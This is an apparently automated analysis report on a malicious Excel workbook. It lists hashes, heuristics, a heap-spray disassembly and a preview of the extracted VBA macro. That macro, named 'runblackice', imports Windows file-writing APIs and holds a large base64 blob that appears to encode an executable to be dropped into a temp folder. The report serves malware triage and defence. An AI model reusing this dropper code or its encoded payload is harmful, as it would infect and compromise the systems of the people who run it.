Office (OLE) malware analysis — malicious · c68063d84a97b78c

MALICIOUS

Office (OLE)

44.5 KB Created: 2011-03-11 01:31:33 Authoring application: Microsoft Excel First seen: 2015-09-19

MD5: 24d6b4fa08e22067ec4a52c92dd1cdf0 SHA-1: 6851ff1de49a45fedffdf0684fc8f2269dbb9de2 SHA-256: c68063d84a97b78c67133c2fff0eb5434e82045f7755f5109dc765dd4d12bb6e

62 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Excel file containing VBA macros. The macros appear to be obfuscated and contain a large encoded blob, suggesting they are designed to download and execute a second-stage payload. The heap spray heuristic further indicates potential exploitation or malicious code execution.

Heuristics 3

Heap-spray pattern detected high SC_HEAP_SPRAY

Repeated 0x41 (A) bytes found

Disassembly

Attempted x86 opcode disassembly

0000684D  41                inc ecx
0000684E  41                inc ecx
0000684F  41                inc ecx
00006850  41                inc ecx
00006851  41                inc ecx
00006852  41                inc ecx
00006853  41                inc ecx
00006854  41                inc ecx
00006855  41                inc ecx
00006856  41                inc ecx
00006857  41                inc ecx
00006858  41                inc ecx
00006859  41                inc ecx
0000685A  41                inc ecx
0000685B  41                inc ecx
0000685C  41                inc ecx
0000685D  41                inc ecx
0000685E  41                inc ecx
0000685F  41                inc ecx
00006860  41                inc ecx
00006861  41                inc ecx
00006862  41                inc ecx
00006863  41                inc ecx
00006864  41                inc ecx
00006865  41                inc ecx
00006866  41                inc ecx
00006867  41                inc ecx
00006868  41                inc ecx
00006869  41                inc ecx
0000686A  41                inc ecx
0000686B  41                inc ecx
0000686C  41                inc ecx
0000686D  41                inc ecx
0000686E  41                inc ecx
0000686F  41                inc ecx
00006870  41                inc ecx
00006871  41                inc ecx
00006872  41                inc ecx
00006873  41                inc ecx
00006874  41                inc ecx
00006875  41                inc ecx
00006876  41                inc ecx
00006877  41                inc ecx
00006878  41                inc ecx
00006879  41                inc ecx
0000687A  41                inc ecx
0000687B  41                inc ecx
0000687C  41                inc ecx
0000687D  41                inc ecx
0000687E  41                inc ecx
0000687F  41                inc ecx
00006880  41                inc ecx
00006881  41                inc ecx
00006882  41                inc ecx
00006883  41                inc ecx
00006884  41                inc ecx
00006885  41                inc ecx
00006886  41                inc ecx
00006887  41                inc ecx
00006888  41                inc ecx
00006889  41                inc ecx
0000688A  41                inc ecx
0000688B  41                inc ecx
0000688C  41                inc ecx
0000688D  41                inc ecx
0000688E  41                inc ecx
0000688F  41                inc ecx
00006890  41                inc ecx
00006891  41                inc ecx
00006892  41                inc ecx
00006893  41                inc ecx
00006894  41                inc ecx
00006895  41                inc ecx
00006896  41                inc ecx
00006897  41                inc ecx
00006898  41                inc ecx
00006899  41                inc ecx
0000689A  41                inc ecx
0000689B  41                inc ecx
0000689C  41                inc ecx
0000689D  41                inc ecx
0000689E  41                inc ecx
0000689F  41                inc ecx
000068A0  41                inc ecx
000068A1  41                inc ecx
000068A2  41                inc ecx
000068A3  41                inc ecx
000068A4  41                inc ecx
000068A5  41                inc ecx
000068A6  41                inc ecx
000068A7  41                inc ecx
000068A8  41                inc ecx
000068A9  41                inc ecx
000068AA  41                inc ecx
000068AB  41                inc ecx
000068AC  41                inc ecx

VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	10406 bytes
SHA-256: `c1f7e26be4795929ea8fcb0d94488e8deb0b5811c2cf8bba11a2cf5371e7769e`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 15 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True '<!!blackice> Private Const base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long Private Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpPathName As String, ByVal lpPrefixString As String, ByVal uUnique As Long, ByVal lpTempFileName As String) As Long Private Sub runblackice() On Error Resume Next filestring = "TVoAAAAAAAAAAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAADgAAAAsAAAAAAAAFQBAAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAUAIAAAIAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADAQQIAhAAAAACwAQBcDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAQAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAAAAAAAAoAAAALABAEGSAAAAAgAAAAAAAAAAAAAAAAAA4AAAwIclBEJCAGGUVaS2gP8Tc/kzyf8TcxYzwP8Tcx+2gEGwEP8TEsBz+nU6quvg" filestring = filestring + "/1MIAvaD2QF1Dv9TBOskrNHodC0TyesYkUjB4Ais/1MEO0P4cwqA/AVzBoP4f3cCQUGVi8W2AFaL9yvw86Re659erZetUP9TEJWLB0B483UD/2MMUFX/UxSr6+4zyUH/ExPJ/xNy+MMC0nUFihZGEtLDS0VSTkVMMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAOAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQBlAAAAaAAAgAAAAAAAAAAAAAAAAAAAAQAECAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAECAAAkAAAAKCwAQCoDAAAAAAAAAAAAABIvQEAFAAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAYAAAAAACADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAz" filestring = filestring + "MwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAAAACZmWbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzAAzMwCZmfj4+JnM/5n//5nM/5n//5nM/5n//5n//5nM/5n//5nM/5n//5n//5n//5nM/5n//5nM/5n//5n//5nM/5nM/5n//5nM/5n//5nM/5nM/5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5nM/5nM/5n//5nM/5n//5nM/5nM/5n//5n//5nM/5nM/5nM/5n//5nM/5nM/5nM/5nM/2bMzAAzMwCZmfj4+JnM/5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5nM/5n//5n//5nM/5n//5nM/5n/" filestring = filestring + "/5n//5nM/5nM/5nM/5n//5nM/5nM/5nM/5nM/5nM/5nM/2bMzAAzMwCZmfj4+Jn//5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5nM/5nM/5nM/5n//5nM/5n//5n//5nM/5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5n//5nM/5nM/5n//5nM/5nM/5n//5n//5n//5nM/5nM/5nM/5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5nM/5n//5nM/5n//5n//5nM/5n//5nM/5n//5n//5nM/5n//5nM/5n//5n//5n//5n//5n//5nM/5nM/5nM/5nM/5n//5nM/5nM/5nM/5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5n//5n//5n//5nM/5n/" filestring = filestring + "/5nM/5nM/5n//5nM/5nM/5n//5nM/5nM/5n//5nM/5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5nM/5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5nM/5n//5n//5nM/5nM/5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5nM/5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5nM/5n//5nM/5nM/5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5nM/5nM/5n//5nM/5n//5n//5n//5n//5nM/5n//5n//5nM/5nM/5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5nM/5n//5n//5n//5n//5n//5n//5n//5n//5n//5n/" filestring = filestring + "/5n//5nM/5n//5nM/5n//5n//5nM/5nM/5n//5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5nM/5n//5n//5n//5nM/5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5n//5n//5nM/5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5nM/5n//5n//5n//5nM/5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5n/" filestring = filestring + "/5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5n//5n//5nM/5n//5n//5n//5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5nM/5n//5n//5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5n//5n//5nM/5n//5n//5n//5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n/" filestring = filestring + "/5n//5n//5nM/5n//5n//5nM/5n//5n//5n//5nM/5n//2bMzAgICACZmfj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+AAAAAAAAACZmWbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzACZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQAAAAAAAAAAAACZmfD7/5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAA" filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////////////////+AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA4AAf//AAP//4AH///AD////////AAABAAEAICAAAAEAGACoDAAAAQBVHIvsg4EwjUUcic3c5H0Q4HV/CAfI/+kzAQ4Dx0XkQAoH6IxG7CPwBvz9/wIHjU34UWgGBCA9agGPVRRSY1DyQICLRRDmCOv7r+H/URSQqOBz4c9jIBLp32BxEBiDwAF9wQYEUOgwex74xPOHRtSLTT7c2fSm2EFa6wm8eIaDwgGJDN5aWDtgfTLQQJobwRBGtjTPEuo7L2GDKvQDyOwCiX8BZkKIQR7sCNgMzlIM+FHm60W9m7DsRyBq5IDS4gQKhdJ0DbyRASCNxTroahC0jgpNDFG4BuRSZmAoCFDI6QRkwlHWwW26EtfI/1AYpcYRBRnrHIzcwi1Cubq30CQ6yghbem09/OVdScNROYEUoAFoMIiqwBBB4P82FSitjEG4zgpg" filestring = filestring + "YzAFEkFNmAw9YDVqUQSLAYeIUpBQNPMKuv5IYukGzFVm6KhJA3QosHmirgSaxASoiZNlrKpQSQmw7UiQGbQkDIcNaOTjA4qY5UPgBOgfQIeaJKpTAd4PhbZI/01Q6NUVNFDx8RzvGBFdVZhQUqzozmQChe/9CjAUg1AF6UmG3GTC8IJHvISh6FA3yCBDRbz1GUxvuB4yEaS8RD3rEAjpQcqHajU8SBSFlWBPk1LdMnzwkqOnHJCYDGgso43jQBxR6MpIeU+KCEVw6xOSxoGlhUUhCnCZIUjJ2TgeISZQuQOORoSbBd00VmONGGYvavxU5tEo4VERRCBQyg4UGKRMivxSujvA/66thTYqpCrACINl5LtUSS7IOarACeIZyAzMjCFMERKEY0UDoXP8IqyQRUJ8yByjxr0iAkFFzZxb/SFYkJyhKfwfeEcCIfjJJE4BK4pspGT4KM9M+1DkSFpcRFUc1KB8QpHIiEFNoFFEb0SRmPt8IKXIENDkPJHU0DiR" filestring = filestring + "VfwCkUoPcCBC+QfFDG4cYs5ooEYHQtCKInaQNOGlATeKcITiZED/UYoEv1LPiiGsFIUcSGkQoHbfjMB1emOKOqNMOLE9JDXxVQHiUgrKpKYf/HdaemuRDNJyMtQsQlCZMkTcI8xATOERyy6sk9bdCOFRPkHxDEwc1IRD2CHckeBE/byEKU3QkwIB6Cf6lPvJTKSVTCoBSNTXxZxQRC36+SMUc3vdt3JMUklToEcMWMT4J1jEnCdYxIQnWEoZu2gDv/SSTULgWPVGoyqEdlkktEzmnWEAM8DrG+l13ZFUcAUidznrgTqLO5U8nz2dJZsUXSLkAiyFSLZHaPQRomCGhXAlKIO9BrtmCMkGuLV4I85pKJU5u2yhNOuwcpMGhLEWrnU8NWg5y3hM99NFLZVkEwhKMI0gJjNClWyoEulCEBIihXjuV1gEACz4N8huS4eKdZmF+OyOwCgsMEKVSbwh7Atm+DIyNqCQhXP2lEx7iRz9N8Ij9EJEEhAc/YQhfnSu" filestring = filestring + "QB1NbI4UlRUIUuhZzdczsp6RElYrTLUh7Arj94N2RXFD0vQpLoTMRSkPiZiRQ19ipsTwRFpDgEEG4A+VJsCItAbrBMYKVgH5lyR/JDbeSnOA4FCFQ4VYXJmaJFErPUs0RXTm2lMahYg3aVaNQiNRzlkohZA6CVXYgeISynALSWbNyIjkjCiQhRCUsmQZhAkJvHAGyUn2z6UsGlVPBDEWlUS/Iy6RKWJocL4+/QwUhUQVaQ6f8ngZRA8hKvCyA4q6Os8RJAnZiAxEh4ja9XYjYAORfE0niAGp4MuarmZIuLFYjTHIShCFyEIQjchKRJwhlXxiAdDFEGX17OZFAjzXGo0gIymgxZOSuDIIIBaUACG48J4Ck2mRdFxLJiUUYMAPhNGtvqHSyMh1IfDWEAJo0Mt0HvEldfQasj6tS+xssyRY/vHo3IYhJP4J7W9ls5CqkMe0o7bohUhcHdKCuY2JCkW85NxRJ0oov+SMnuNJQQOFIwIgQUOVIFFDhUooy9yE" filestring = filestring + "Q+Ah5JHoieyZg3RpYJIEDFnzjxxknFzLw9Qy4rDMeCUEEx6DCQHoFfOeDYRd7VejisBpQs1CURsSxCx8jvELI0S8QsiE7xHZ9RAIjYRDURGb8qGVeAgCpiGU9WEl6WsIZoRFYf1uQgV7KUH9idGZ2Zfhp+mlLf+UPAJEVle5EKPmvhwB1Y19vPOlpCmIGXwPDUD9CXzMAIpEBbzrArAVPV9eNck0UdwZDzoMMCRJhr56EhALxvTkzJAV+83weGN2mA3JJvhThzASg8AD30rzPBDL6cs5t/EPje58+ZlUAnkMOU2WgeEhPMHp/YPkP1En6F+sAq4PM77QjuAVfOQlHXpzBjboAllMVggvHwQLRYPgPwqILjFZ3BZSUwg0IQREECgGjiH6/sTsMhA5AhRII9dRyEfV2AXcweKkJgtnwqLss+EQZJAm6AoYEBL8sT4wS4P0BN2YoP1H75vE/HnwJMEDEJTpbGNA+DuaEIL6HQEqMRwr/+RG2IIk0BMkDtQr" Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet3" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.